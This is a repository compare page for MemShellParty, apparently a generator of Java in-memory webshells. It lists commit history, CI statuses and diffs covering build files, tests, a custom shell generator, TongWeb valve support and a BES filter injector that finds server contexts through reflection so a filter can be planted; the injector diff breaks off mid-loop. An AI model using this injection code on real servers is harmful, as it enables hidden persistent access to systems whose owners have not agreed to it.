Compare commits

...
48 Commits
Author SHA1 Message Date
ReaJason 97e85f5753 docs: add contributors in README
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Probe IntegrationTest / springwebmvc (push) Canceled after 0s
Probe IntegrationTest / springwebflux (push) Canceled after 0s
Probe IntegrationTest / struts2 (push) Canceled after 0s
Probe IntegrationTest / tomcat (push) Canceled after 0s
Probe IntegrationTest / glassfish (push) Canceled after 0s
Probe IntegrationTest / jbosseap (push) Canceled after 0s
Probe IntegrationTest / payara (push) Canceled after 0s
Probe IntegrationTest / wildfly (push) Canceled after 0s
Probe IntegrationTest / jetty (push) Canceled after 0s
Probe IntegrationTest / jbossas (push) Canceled after 0s
Probe IntegrationTest / resin (push) Canceled after 0s
Probe IntegrationTest / weblogic (push) Canceled after 0s
Probe IntegrationTest / websphere7 (push) Canceled after 0s
Probe IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-31 00:11:30 +08:00
ReaJason 70d96e86b1 ci: docker build test support manual run 2026-08-30 22:05:11 +08:00
ReaJason 13fe8f0094 fix: vite8 preview build react-router in docker failed 2026-08-30 22:01:43 +08:00
ReaJason 961845f96f fix: source.config.ts file not found 2026-08-30 21:23:59 +08:00
ReaJason 4a12d74c7c chore: 2.10.0 2026-08-30 21:21:19 +08:00
ReaJason 7287409ce3 docs: updage changelog 2026-08-30 21:19:42 +08:00
ReaJason f806ab2c2c fix: docs link error 2026-08-30 21:19:42 +08:00
ReaJason e1152000f2 style: lint and fmt code 2026-08-30 21:19:42 +08:00
ReaJason 3ada01bd97 chore: upgrade deps 2026-08-30 21:19:42 +08:00
ReaJason e11eafe78b feat: upgrade fumadocs 2026-08-30 21:19:42 +08:00
ReaJason 6c41f208ba chore: remove decompile code comment 2026-08-30 21:19:42 +08:00
ReaJason ceb8e3ddb4 feat: add XSLT packer 2026-08-30 21:19:42 +08:00
ReaJason 70935d6ab1 feat: support Freemarker SpEL packer 2026-08-30 21:19:42 +08:00
ReaJason 305bc0e12c feat: support auto decompiling with cfr 2026-08-30 21:19:42 +08:00
ReaJason b74c8f6155 docs: update changelog 2026-08-30 21:19:42 +08:00
ReaJason 4a990b7e0c refactor: simplify BES getContext code 2026-08-30 21:19:42 +08:00
ReaJason 493e540984 fix: custom shell with jsr/ret generate failed 2026-08-30 21:19:42 +08:00
ReaJason 8514f1ae1f test: SpringBoot4 use JDK21 2026-08-30 21:19:42 +08:00
ReaJason c641a92557 fix: SpringBoot4 WebFlux Base64Utils not found 2026-08-30 21:19:42 +08:00
ReaJason cda6c9f64e test: probe jdk version changed 2026-08-30 21:19:42 +08:00
ReaJason 460172133b chore: update .gitignore 2026-08-30 21:19:42 +08:00
ReaJason 983bdaa2fa chore: 2.10.0-SNAPSHOT 2026-08-30 21:19:42 +08:00
ReaJason 244bbd910a fix: webfilter and handler broken business 2026-08-30 21:19:42 +08:00
ReaJason 17627d5134 chore: add bes tongweb boot info 2026-08-30 21:19:42 +08:00
ReaJason 9af244408b feat: support tongweb 7 embedded shell 2026-08-30 21:19:42 +08:00
su18 d4c6473543 feat(bes): add BES 10/11 context discovery via AppServer-utility thread
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-25 22:07:33 +08:00
ReaJason 229698eb49 docs: update changelog
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Probe IntegrationTest / springwebmvc (push) Canceled after 0s
Probe IntegrationTest / struts2 (push) Canceled after 0s
Probe IntegrationTest / tomcat (push) Canceled after 0s
Probe IntegrationTest / glassfish (push) Canceled after 0s
Probe IntegrationTest / jbosseap (push) Canceled after 0s
Probe IntegrationTest / payara (push) Canceled after 0s
Probe IntegrationTest / wildfly (push) Canceled after 0s
Probe IntegrationTest / jetty (push) Canceled after 0s
Probe IntegrationTest / jbossas (push) Canceled after 0s
Probe IntegrationTest / resin (push) Canceled after 0s
Probe IntegrationTest / weblogic (push) Canceled after 0s
Probe IntegrationTest / websphere7 (push) Canceled after 0s
Probe IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-03 23:55:14 +08:00
ReaJason aaebf9300b chore: 2.9.0 2026-08-03 23:54:53 +08:00
ReaJason 31d4966cb3 test: update war path [skip ci] 2026-08-03 23:54:06 +08:00
ReaJason e4ef1fce4a chore: upgrade deps 2026-08-03 23:54:06 +08:00
ReaJason 2843bbd8c4 docs: update changelog 2026-08-03 23:54:06 +08:00
ReaJason 7832c02e0d test: add wildfly 38/41 case 2026-08-03 23:54:06 +08:00
ReaJason 65d0b17fe2 fix: payara 6/7 shell not work 2026-08-03 23:54:06 +08:00
ReaJason f17a33fb8b ci: war not found 2026-08-03 23:54:06 +08:00
ReaJason f19fe37c36 fix: weblogic 12/14 websocket connnect failed 2026-08-03 23:54:06 +08:00
ReaJason 9757a5b050 test: weblogic 10.3.6 deploy war failed 2026-08-03 23:54:06 +08:00
ReaJason 71230e6088 test: jbossas 5.1.0 deploy war failed 2026-08-03 23:54:06 +08:00
ReaJason 2ec3218e72 feat: support weblogic websocket and weblogic 15.1.1.0 2026-08-03 23:54:06 +08:00
ReaJason da046ae5dc test: add jenkins 2.575-jdk21 case 2026-08-03 23:54:06 +08:00
ReaJason a8cb4c68bc fix: glassfish7/8 jdk21 shell failed 2026-08-03 23:54:06 +08:00
ReaJason 0e37e406da test: add spring cve cases #7 2026-08-03 23:54:06 +08:00
ReaJason 29c19a318f feat: suitable for xxl-job < 2.2.0 #151 2026-08-03 23:54:06 +08:00
zema1 556c9d63ff fix: harden suo5v2 tunnel lifecycle 2026-08-03 23:54:06 +08:00
ReaJason 3e48fc1534 chore: update suo5v2 client 2026-08-03 23:54:06 +08:00
ReaJason 8f2024917c refactor: simplify config api 2026-08-03 23:54:06 +08:00
ReaJason 82bbd2cf0a chore: 2.9.0-SNAPSHOT 2026-08-03 23:54:06 +08:00
ReaJason 1243e59ac2 feat: support resin2 and jetty5 2026-08-03 23:54:06 +08:00
ReaJason af4c8b1d63 ci: upgrade upload-artifact action version
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / dubbo (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / geronimo (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struts2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-06-29 01:37:12 +08:00
253 changed files with 30217 additions and 1608 deletions
+1 -1
View File
@@ -52,7 +52,7 @@ jobs:
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v7
with:
name: boot
path: boot/build/libs/*.jar
+1
View File
@@ -1,6 +1,7 @@
name: Docker Build Test
on:
workflow_dispatch:
push:
branches:
- master
@@ -24,9 +24,9 @@ jobs:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
@@ -34,7 +34,7 @@ jobs:
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
@@ -42,11 +42,11 @@ jobs:
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struts2"
+7 -5
View File
@@ -21,9 +21,9 @@ jobs:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
@@ -31,7 +31,7 @@ jobs:
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
@@ -39,9 +39,11 @@ jobs:
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
+1 -1
View File
@@ -65,7 +65,7 @@ jobs:
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v7
with:
name: boot
path: boot/build/libs/*.jar
+2
View File
@@ -62,3 +62,5 @@ integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
integration-test/**/primeton
vul/vul-springboot3-bes
vul/vul-springboot3-tongweb
+5 -4
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
ARG ROUTE_ROOT_PATH=""
ARG CONTEXT_PATH=""
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
RUN bun install --frozen-lockfile
@@ -25,7 +26,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
WORKDIR /usr/src
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:21.0.11_10-jre-noble
FROM eclipse-temurin:21.0.12_8-jre-noble
LABEL authors="ReaJason<[email protected]>"
+6
View File
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
## 贡献者
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
</a>
## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
Binary file not shown.
Binary file not shown.
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -22,7 +23,12 @@ import java.util.*;
@CrossOrigin("*")
public class ConfigController {
/**
* @deprecated use {@link #config()} for memshell configuration and
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
*/
@RequestMapping("/servers")
@Deprecated(since = "2.9.0", forRemoval = false)
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers();
@@ -34,7 +40,11 @@ public class ConfigController {
return servers;
}
/**
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
*/
@RequestMapping("/packers")
@Deprecated(since = "2.9.0", forRemoval = false)
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
@@ -56,9 +66,14 @@ public class ConfigController {
.toList();
}
@RequestMapping("/probe/response-body/servers")
public List<String> getProbeResponseBodyServers() {
return ResponseBodyGenerator.getSupportedServers();
}
@RequestMapping
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
@@ -1,9 +1,12 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
@@ -22,6 +25,12 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class ConfigControllerIntegrationTest {
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
};
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
};
@LocalServerPort
private int port;
@@ -36,31 +45,44 @@ public class ConfigControllerIntegrationTest {
@Test
public void testConfigEndpoint() {
ResponseEntity<Map> response = restClient.get()
ResponseEntity<Map<String, Object>> response = restClient.get()
.uri("/api/config")
.retrieve()
.toEntity(Map.class);
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
}
@Test
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restClient.get()
ResponseEntity<Map<String, Object>> response = restClient.get()
.uri("/api/config/servers")
.retrieve()
.toEntity(Map.class);
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/packers")
.retrieve()
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restClient.get()
.uri("/api/config/packers")
public void testConfigProbeResponseBodyServersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/probe/response-body/servers")
.retrieve()
.toEntity(List.class);
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
}
}
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.8.0"
version = "2.10.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Jetty5 = "Jetty5";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String Resin2 = "Resin2";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
@@ -33,9 +33,11 @@ public class ServerFactory {
static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Jetty5, Jetty5::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.Resin2, Resin2::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JETTY5 = "Jetty5";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String RESIN2 = "Resin2";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder();
protected int getTargetJreVersion() {
return shellConfig.getTargetJreVersion();
}
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes());
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Label;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
@@ -17,6 +21,7 @@ import java.util.Base64;
* @since 2025/3/18
*/
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
private boolean containsSubroutines;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig);
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
String shellClassBase64 = shellToolConfig.getShellClassBase64();
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
ClassReader classReader = new ClassReader(classBytes);
containsSubroutines = containsSubroutines(classReader);
String className = classReader.getClassName().replace('/', '.');
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
return new ByteBuddy()
.redefine(typeDescription, compoundLocator);
}
@Override
protected int getTargetJreVersion() {
// Byte Buddy cannot emit a class version newer than Java 5 when the
// source bytecode contains legacy jsr/ret subroutines. Keep such
// custom classes at Java 5; Java 6+ runtimes can load them as well.
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
}
private static boolean containsSubroutines(ClassReader classReader) {
final boolean[] found = {false};
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
return new MethodVisitor(Opcodes.ASM9) {
@Override
public void visitJumpInsn(int opcode, Label label) {
if (opcode == Opcodes.JSR) {
found[0] = true;
}
}
@Override
public void visitVarInsn(int opcode, int var) {
if (opcode == Opcodes.RET) {
found[0] = true;
}
}
};
}
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
return found[0];
}
}
@@ -45,6 +45,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container";
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null;
@@ -53,7 +54,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
}
if (shell instanceof TongWeb) {
if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
}
switch (serverVersion) {
case "6":
@@ -65,8 +66,11 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
case "8":
packageName = TONGWEB8_VALVE_PACKAGE;
break;
case "7.E":
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
}
}
if (StringUtils.isNotBlank(packageName)) {
@@ -85,10 +85,27 @@ public class BesFilterInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
